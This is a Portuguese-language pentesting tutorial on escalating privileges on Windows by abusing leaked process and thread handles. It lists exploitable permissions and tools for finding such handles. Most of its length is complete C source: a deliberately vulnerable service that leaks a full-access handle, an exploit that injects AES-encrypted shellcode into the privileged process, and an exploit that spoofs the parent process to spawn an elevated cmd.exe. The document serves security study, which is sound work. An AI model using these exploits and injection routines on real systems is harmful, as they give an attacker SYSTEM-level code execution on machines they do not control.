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Exploração de Handle Vazado
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Introdução
Handles em um processo permitem acessar diferentes recursos do Windows:
Já houve vários casos de escalada de privilégios onde um processo privilegiado com handles abertos e herdados executou um processo não privilegiado dando-lhe acesso a todos esses handles.
Por exemplo, imagine que um processo executando como SYSTEM abre um novo processo (OpenProcess()
) com acesso total. O mesmo processo também cria um novo processo (CreateProcess()
) com baixos privilégios mas herdando todos os handles abertos do processo principal.
Então, se você tem acesso total ao processo de baixo privilégio, você pode pegar o handle aberto para o processo privilegiado criado com OpenProcess()
e injetar um shellcode.
Handles Interessantes
Processo
Como você leu no exemplo inicial, se um processo não privilegiado herda um handle de processo de um processo privilegiado com permissões suficientes, ele será capaz de executar código arbitrário nele.
Neste excelente artigo você pode ver como explorar qualquer handle de processo que tenha qualquer uma das seguintes permissões:
- PROCESS_ALL_ACCESS
- PROCESS_CREATE_PROCESS
- PROCESS_CREATE_THREAD
- PROCESS_DUP_HANDLE
- PROCESS_VM_WRITE
Thread
Similar aos handles de processo, se um processo não privilegiado herda um handle de thread de um processo privilegiado com permissões suficientes, ele será capaz de executar código arbitrário nele.
Neste excelente artigo você também pode ver como explorar qualquer handle de processo que tenha qualquer uma das seguintes permissões:
- THREAD_ALL_ACCESS
- THREAD_DIRECT_IMPERSONATION
- THREAD_SET_CONTEXT
Handles de Arquivo, Chave & Seção
Se um processo não privilegiado herda um handle com permissões equivalentes a escrita sobre um arquivo ou registro privilegiado, ele será capaz de sobrescrever o arquivo/registro (e com muita sorte, escalar privilégios).
Handles de Seção são similares aos handles de arquivo, o nome comum desses tipos de objetos é "Mapeamento de Arquivo". Eles são usados para trabalhar com arquivos grandes sem manter o arquivo inteiro na memória. Isso torna a exploração "similar" à de um Handle de Arquivo.
Como ver handles de processos
Process Hacker
Process Hacker é uma ferramenta que você pode baixar gratuitamente. Ela possui várias opções incríveis para inspecionar processos e uma delas é a capacidade de ver os handles de cada processo.
Note que para ver todos os handles de todos os processos, o SeDebugPrivilege é necessário (então você precisa executar o Process Hacker como administrador).
Para ver os handles de um processo, clique com o botão direito no processo e selecione Handles:
Você pode então clicar com o botão direito no handle e verificar as permissões:
Handles do Sysinternals
O binário Handles do Sysinternals também listará os handles por processo no console:
LeakedHandlesFinder
Esta ferramenta permite que você monitore handles vazados e até mesmo autoexploit para escalar privilégios.
Metodologia
Agora que você sabe como encontrar handles de processos, o que você precisa verificar é se algum processo não privilegiado está tendo acesso a handles privilegiados. Nesse caso, o usuário do processo poderia ser capaz de obter o handle e abusar dele para escalar privilégios.
{% hint style="warning" %} Foi mencionado antes que você precisa do SeDebugPrivilege para acessar todos os handles. Mas um usuário ainda pode acessar os handles de seus processos, então pode ser útil se você quiser escalar privilégios apenas desse usuário para executar as ferramentas com as permissões regulares do usuário.
handle64.exe /a | findstr /r /i "process thread file key pid:"
{% endhint %}
Exemplo Vulnerável
Por exemplo, o seguinte código pertence a um serviço do Windows que seria vulnerável. O código vulnerável deste serviço binário está localizado dentro da função Exploit
. Esta função começa criando um novo processo de handle com acesso total. Em seguida, está criando um processo de baixo privilégio (copiando o token de baixo privilégio do explorer.exe) executando C:\users\username\desktop\client.exe. A vulnerabilidade reside no fato de estar criando o processo de baixo privilégio com bInheritHandles
como TRUE
.
Portanto, este processo de baixos privilégios é capaz de capturar o handle do processo de altos privilégios criado primeiro e injetar e executar um shellcode (veja a próxima seção).
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")
TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;
//Find PID of a proces from its name
int FindTarget(const char *procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}
int Exploit(void) {
STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;
// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;
// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}
// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}
void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
SetEvent( stopServiceEvent );
return;
case SERVICE_CONTROL_PAUSE:
break;
case SERVICE_CONTROL_CONTINUE:
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
Exploit();
WaitForSingleObject( stopServiceEvent, -1 );
// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;
// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}
void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}
void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}
int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};
StartServiceCtrlDispatcher( serviceTable );
}
return 0;
}
Exemplo de Exploit 1
{% hint style="info" %} Em um cenário real, provavelmente você não poderá controlar o binário que será executado pelo código vulnerável (C:\users\username\desktop\client.exe neste caso). Provavelmente, você irá comprometer um processo e precisará verificar se pode acessar algum handle vulnerável de qualquer processo privilegiado. {% endhint %}
Neste exemplo, você pode encontrar o código de um possível exploit para C:\users\username\desktop\client.exe.
A parte mais interessante deste código está localizada em GetVulnProcHandle
. Esta função começará buscando todos os handles, em seguida, verificará se algum deles pertence ao mesmo PID e se o handle pertence a um processo. Se todos esses requisitos forem atendidos (um handle de processo aberto e acessível for encontrado), ele tentará injetar e executar um shellcode abusando do handle do processo.
A injeção do shellcode é feita dentro da função Inject
e consistirá apenas em escrever o shellcode dentro do processo privilegiado e criar uma thread dentro do mesmo processo para executar o shellcode).
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
}
HANDLE GetVulnProcHandle(void) {
ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
printf("[+] Grabbing handles...");
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;
// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}
// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {
// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}
// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;
pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;
free(objectTypeInfo);
free(objectNameInfo);
}
return hProc;
}
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
BOOL bStatus = FALSE;
pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
if (bStatus != FALSE) {
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
else
return -1;
}
int main(int argc, char **argv) {
int pid = 0;
HANDLE hProc = NULL;
// AES encrypted shellcode spawning notepad.exe (ExitThread)
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
unsigned int payload_len = sizeof(payload);
printf("My PID: %d\n", GetCurrentProcessId());
getchar();
// find a leaked handle to a process
hProc = GetVulnProcHandle();
if ( hProc != NULL) {
// d#Decrypt payload
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
printf("[+] Sending gift...");
// Inject and run the payload in the privileged context
Inject(hProc, payload, payload_len);
printf("done.\n");
}
getchar();
return 0;
}
Exemplo de Exploração 2
{% hint style="info" %} Em um cenário real, provavelmente você não poderá controlar o binário que será executado pelo código vulnerável (C:\users\username\desktop\client.exe neste caso). Provavelmente, você comprometerá um processo e precisará verificar se pode acessar algum handle vulnerável de qualquer processo privilegiado. {% endhint %}
Neste exemplo, em vez de abusar do handle aberto para injetar e executar um shellcode, será usado o token do processo com handle privilegiado aberto para criar um novo. Isso é feito nas linhas de 138 a 148.
Observe como a função UpdateProcThreadAttribute
é usada com o atributo PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
e o handle para o processo privilegiado aberto. Isso significa que a thread do processo criado executando _cmd.exe_** terá o mesmo privilégio de token que o processo com handle aberto**.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
HANDLE GetVulnProcHandle(void) {
ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
printf("[+] Grabbing handles...");
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;
// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}
// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {
// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}
// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;
pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;
free(objectTypeInfo);
free(objectNameInfo);
}
return hProc;
}
int main(int argc, char **argv) {
HANDLE hProc = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
int pid = 0;
SIZE_T size;
BOOL ret;
Sleep(20000);
// find leaked process handle
hProc = GetVulnProcHandle();
if ( hProc != NULL) {
// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// Spawn elevated cmd process
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );
if (ret == FALSE) {
printf("[!] Error spawning new process: [%d]\n", GetLastError());
return -1;
}
}
Sleep(20000);
return 0;
}
Outras ferramentas e exemplos
Esta ferramenta permite monitorar handles vazados para encontrar vulneráveis e até mesmo auto-explorá-los. Também possui uma ferramenta para vazar um.
Outra ferramenta para vazar um handle e explorá-lo.
Referências
- http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/
- https://github.com/lab52io/LeakedHandlesFinder
- https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html
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